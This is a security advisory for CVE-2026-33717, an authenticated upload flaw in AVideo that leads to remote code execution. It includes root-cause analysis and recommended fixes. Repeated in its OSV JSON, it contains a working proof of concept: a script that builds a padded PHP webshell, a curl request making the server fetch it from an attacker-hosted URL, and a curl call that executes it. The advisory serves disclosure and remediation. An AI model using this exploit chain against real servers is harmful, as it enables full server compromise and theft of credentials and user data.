CVE-2026-33717: AVideo Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-8wf4-c4x3-h952
CVSS 8.8
CWE-434
Published
Advisory Summary

CVE-2026-33717 is a HIGH (CVSS 8.8) remote code execution vulnerability (CWE-434: Unrestricted Upload of File with Dangerous Type) affecting AVideo libraries in the Packagist ecosystem. The issue involves remote code execution via php temp file in encoder downloadurl. Remediation is available in the latest vendor maintenance releases.

CVE-2026-33717 at a Glance

CVE Identifier CVE-2026-33717
GHSA Identifier GHSA-8wf4-c4x3-h952
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-434: Unrestricted Upload of File with Dangerous Type
Affected Product AVideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-33717

To remediate this vulnerability, upgrade all affected AVideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33717, inspect your project dependencies for AVideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of AVideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-434: Unrestricted Upload of File with Dangerous Type, where the product allows the upload or transfer of dangerous file types that are automatically processed within its environment. In AVideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `downloadVideoFromDownloadURL()` function in `objects/aVideoEncoder.json.php` saves remote content to a web-accessible temporary directory using the original URL's filename and extension (including `.php`). By providing an invalid `resolution` parameter, an attacker triggers an early `die()` via `forbiddenPage()` before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at `videos/cache/tmpFile/`. ## Details The vulnerability is a race-free file upload leading to RCE, exploiting a logic flaw in the error handling order of operations. **Step 1 — File download preserves dangerous extension:** In `objects/aVideoEncoder.json.php`, when a `downloadURL` parameter is provided, the file is downloaded and saved with the URL's original basename: ```php // objects/aVideoEncoder.json.php:361-365 $_FILES['video']['name'] = basename($downloadURL); // preserves .php extension $temp = Video::getStoragePath() . "cache/tmpFile/" . $_FILES['video']['name']; make_path($temp); $bytesSaved = file_put_contents($temp, $file); ``` The `format` parameter (validated against `$global['allowedExtension']` at line 42) is only used later for the *final* destination filename (line 238), not for the temp file. The temp file uses `basename($downloadURL)` directly, allowing any extension including `.php`. **Step 2 — Resolution validation aborts after file write:** After the file is downloaded and written to disk (line 156), the resolution is validated: ```php // objects/aVideoEncoder.json.php:229-233 if (!in_array($_REQUEST['resolution'], $global['avideo_possible_resolutions'])) { $msg = "This resolution is not possible {$_REQUEST['resolution']}"; _error_log($msg); forbiddenPage($msg); // calls die() — execution stops here } ``` The `forbiddenPage()` function (in `objects/functionsSecurity.php:567-573`) detects the JSON content type set at line 26 and calls `die()`: ```php if (empty($unlockPassword) && isContentTypeJson()) { // ... die(json_encode($obj)); // line 573 — execution terminates } ``` **Step 3 — Cleanup never reached:** The `decideMoveUploadedToVideos()` call at line 243, which would move the temp file to its final destination with the safe `format` extension, is never reached because `forbiddenPage()` terminates execution first. **Step 4 — No execution restrictions on temp directory:** The `videos/cache/tmpFile/` directory has no `.htaccess` file restricting PHP execution. The root `.htaccess` `FilesMatch` on line 73 blocks extensions matching `php[a-z0-9]+` (e.g., `.php5`, `.phtml`) but does **not** match plain `.php`. ## PoC **Prerequisites:** An authenticated user account with `canUpload` permission. An attacker-controlled server hosting a PHP payload file at least 20KB in size. **Step 1 — Prepare the PHP payload (on attacker server):** ```bash # Create a PHP webshell padded to >=20KB to pass the minimum size check python3 -c " payload = b'<?php echo \"RCE:\".php_uname(); ?>' padding = b'\n' + b'/' * (20001 - len(payload)) open('shell.php', 'wb').write(payload + padding) " # Host it on an attacker-controlled server (e.g., https://attacker.example.com/shell.php) ``` **Step 2 — Trigger the download with invalid resolution:** ```bash curl -X POST 'https://target.example.com/objects/aVideoEncoder.json.php' \ -d 'user=uploader_username' \ -d 'pass=uploader_password' \ -d 'format=mp4' \ -d 'downloadURL=https://attacker.example.com/shell.php' \ -d 'resolution=9999' ``` Expected response: `{"error":true,"msg":"This resolution is not possible 9999","forbiddenPage":true}` **Step 3 — Access the persisted PHP file:** ```bash curl 'https://target.example.com/videos/cache/tmpFile/shell.php' ``` Expected output: `RCE:Linux target 5.15.0-...` — confirming arbitrary PHP code execution on the server. ## Impact An authenticated user with standard upload permissions can achieve **Remote Code Execution** on the server. This allows: - Full server compromise — read/write arbitrary files, execute system commands - Access to database credentials and all stored user data - Lateral movement to other services on the same network - Modification or destruction of all video content and platform configuration - Use of the server as a pivot point for further attacks The attack requires only a single HTTP request (plus hosting a payload file) and leaves no trace in the application's normal upload/video processing logs beyond the download attempt. ## Recommended Fix **Fix 1 (Primary) — Validate file extension in `downloadVideoFromDownloadURL()`:** ```php // objects/aVideoEncoder.json.php — in downloadVideoFromDownloadURL(), after line 360 function downloadVideoFromDownloadURL($downloadURL) { global $global, $obj; $downloadURL = trim($downloadURL); // ... existing SSRF check ... // NEW: Validate the file extension against allowed extensions $urlExtension = strtolower(pathinfo(parse_url($downloadURL, PHP_URL_PATH), PATHINFO_EXTENSION)); if (!in_array($urlExtension, $global['allowedExtension'])) { __errlog("aVideoEncoder.json:downloadVideoFromDownloadURL blocked dangerous extension: " . $urlExtension); return false; } // ... rest of function ... } ``` **Fix 2 (Defense in depth) — Move resolution validation before file download:** ```php // objects/aVideoEncoder.json.php — move lines 227-236 to BEFORE line 154 // Validate resolution BEFORE downloading anything if (!empty($_REQUEST['resolution'])) { if (!in_array($_REQUEST['resolution'], $global['avideo_possible_resolutions'])) { $msg = "This resolution is not possible {$_REQUEST['resolution']}"; _error_log($msg); forbiddenPage($msg); } } // Then proceed with download... ``` **Fix 3 (Defense in depth) — Add `.htaccess` to temp directory:** Create `videos/cache/tmpFile/.htaccess`: ```apache # Deny execution of all scripts in temp directory <FilesMatch "\.(?i:php|phtml|phar|php[0-9]|shtml)$"> Require all denied </FilesMatch> php_flag engine off ```

CVE-2026-33717 Affected AVideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 26.0

References

Frequently Asked Questions

What is CVE-2026-33717?
CVE-2026-33717 is a security vulnerability in AVideo involving Remote Code Execution via PHP Temp File in Encoder downloadURL under CWE-434: Unrestricted Upload of File with Dangerous Type.
Which AVideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-33717?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-33717?
CVE-2026-33717 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-33717?
CVE-2026-33717 is classified under CWE-434: Unrestricted Upload of File with Dangerous Type (The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.).
How can I check Packagist dependencies for CVE-2026-33717?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8wf4-c4x3-h952",
  "modified" : "2026-03-25T21:28:38Z",
  "published" : "2026-03-25T21:28:38Z",
  "aliases" : [ "CVE-2026-33717" ],
  "summary" : "AVideo: Remote Code Execution via PHP Temp File in Encoder downloadURL",
  "details" : "## Summary\n\nThe `downloadVideoFromDownloadURL()` function in `objects/aVideoEncoder.json.php` saves remote content to a web-accessible temporary directory using the original URL's filename and extension (including `.php`). By providing an invalid `resolution` parameter, an attacker triggers an early `die()` via `forbiddenPage()` before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at `videos/cache/tmpFile/`.\n\n## Details\n\nThe vulnerability is a race-free file upload leading to RCE, exploiting a logic flaw in the error handling order of operations.\n\n**Step 1 — File download preserves dangerous extension:**\n\nIn `objects/aVideoEncoder.json.php`, when a `downloadURL` parameter is provided, the file is downloaded and saved with the URL's original basename:\n\n```php\n// objects/aVideoEncoder.json.php:361-365\n$_FILES['video']['name'] = basename($downloadURL);  // preserves .php extension\n$temp = Video::getStoragePath() . \"cache/tmpFile/\" . $_FILES['video']['name'];\nmake_path($temp);\n$bytesSaved = file_put_contents($temp, $file);\n```\n\nThe `format` parameter (validated against `$global['allowedExtension']` at line 42) is only used later for the *final* destination filename (line 238), not for the temp file. The temp file uses `basename($downloadURL)` directly, allowing any extension including `.php`.\n\n**Step 2 — Resolution validation aborts after file write:**\n\nAfter the file is downloaded and written to disk (line 156), the resolution is validated:\n\n```php\n// objects/aVideoEncoder.json.php:229-233\nif (!in_array($_REQUEST['resolution'], $global['avideo_possible_resolutions'])) {\n    $msg = \"This resolution is not possible {$_REQUEST['resolution']}\";\n    _error_log($msg);\n    forbiddenPage($msg);  // calls die() — execution stops here\n}\n```\n\nThe `forbiddenPage()` function (in `objects/functionsSecurity.php:567-573`) detects the JSON content type set at line 26 and calls `die()`:\n\n```php\nif (empty($unlockPassword) && isContentTypeJson()) {\n    // ...\n    die(json_encode($obj));  // line 573 — execution terminates\n}\n```\n\n**Step 3 — Cleanup never reached:**\n\nThe `decideMoveUploadedToVideos()` call at line 243, which would move the temp file to its final destination with the safe `format` extension, is never reached because `forbiddenPage()` terminates execution first.\n\n**Step 4 — No execution restrictions on temp directory:**\n\nThe `videos/cache/tmpFile/` directory has no `.htaccess` file restricting PHP execution. The root `.htaccess` `FilesMatch` on line 73 blocks extensions matching `php[a-z0-9]+` (e.g., `.php5`, `.phtml`) but does **not** match plain `.php`.\n\n## PoC\n\n**Prerequisites:** An authenticated user account with `canUpload` permission. An attacker-controlled server hosting a PHP payload file at least 20KB in size.\n\n**Step 1 — Prepare the PHP payload (on attacker server):**\n\n```bash\n# Create a PHP webshell padded to >=20KB to pass the minimum size check\npython3 -c \"\npayload = b'<?php echo \\\"RCE:\\\".php_uname(); ?>'\npadding = b'\\n' + b'/' * (20001 - len(payload))\nopen('shell.php', 'wb').write(payload + padding)\n\"\n# Host it on an attacker-controlled server (e.g., https://attacker.example.com/shell.php)\n```\n\n**Step 2 — Trigger the download with invalid resolution:**\n\n```bash\ncurl -X POST 'https://target.example.com/objects/aVideoEncoder.json.php' \\\n  -d 'user=uploader_username' \\\n  -d 'pass=uploader_password' \\\n  -d 'format=mp4' \\\n  -d 'downloadURL=https://attacker.example.com/shell.php' \\\n  -d 'resolution=9999'\n```\n\nExpected response: `{\"error\":true,\"msg\":\"This resolution is not possible 9999\",\"forbiddenPage\":true}`\n\n**Step 3 — Access the persisted PHP file:**\n\n```bash\ncurl 'https://target.example.com/videos/cache/tmpFile/shell.php'\n```\n\nExpected output: `RCE:Linux target 5.15.0-...` — confirming arbitrary PHP code execution on the server.\n\n## Impact\n\nAn authenticated user with standard upload permissions can achieve **Remote Code Execution** on the server. This allows:\n\n- Full server compromise — read/write arbitrary files, execute system commands\n- Access to database credentials and all stored user data\n- Lateral movement to other services on the same network\n- Modification or destruction of all video content and platform configuration\n- Use of the server as a pivot point for further attacks\n\nThe attack requires only a single HTTP request (plus hosting a payload file) and leaves no trace in the application's normal upload/video processing logs beyond the download attempt.\n\n## Recommended Fix\n\n**Fix 1 (Primary) — Validate file extension in `downloadVideoFromDownloadURL()`:**\n\n```php\n// objects/aVideoEncoder.json.php — in downloadVideoFromDownloadURL(), after line 360\nfunction downloadVideoFromDownloadURL($downloadURL)\n{\n    global $global, $obj;\n    $downloadURL = trim($downloadURL);\n\n    // ... existing SSRF check ...\n\n    // NEW: Validate the file extension against allowed extensions\n    $urlExtension = strtolower(pathinfo(parse_url($downloadURL, PHP_URL_PATH), PATHINFO_EXTENSION));\n    if (!in_array($urlExtension, $global['allowedExtension'])) {\n        __errlog(\"aVideoEncoder.json:downloadVideoFromDownloadURL blocked dangerous extension: \" . $urlExtension);\n        return false;\n    }\n\n    // ... rest of function ...\n}\n```\n\n**Fix 2 (Defense in depth) — Move resolution validation before file download:**\n\n```php\n// objects/aVideoEncoder.json.php — move lines 227-236 to BEFORE line 154\n// Validate resolution BEFORE downloading anything\nif (!empty($_REQUEST['resolution'])) {\n    if (!in_array($_REQUEST['resolution'], $global['avideo_possible_resolutions'])) {\n        $msg = \"This resolution is not possible {$_REQUEST['resolution']}\";\n        _error_log($msg);\n        forbiddenPage($msg);\n    }\n}\n// Then proceed with download...\n```\n\n**Fix 3 (Defense in depth) — Add `.htaccess` to temp directory:**\n\nCreate `videos/cache/tmpFile/.htaccess`:\n```apache\n# Deny execution of all scripts in temp directory\n<FilesMatch \"\\.(?i:php|phtml|phar|php[0-9]|shtml)$\">\n    Require all denied\n</FilesMatch>\nphp_flag engine off\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-8wf4-c4x3-h952"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33717"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/6da79b43484099a0b660d1544a63c07b633ed3a2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-434" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-25T21:28:38Z",
    "nvd_published_at" : "2026-03-23T19:16:42Z"
  }
}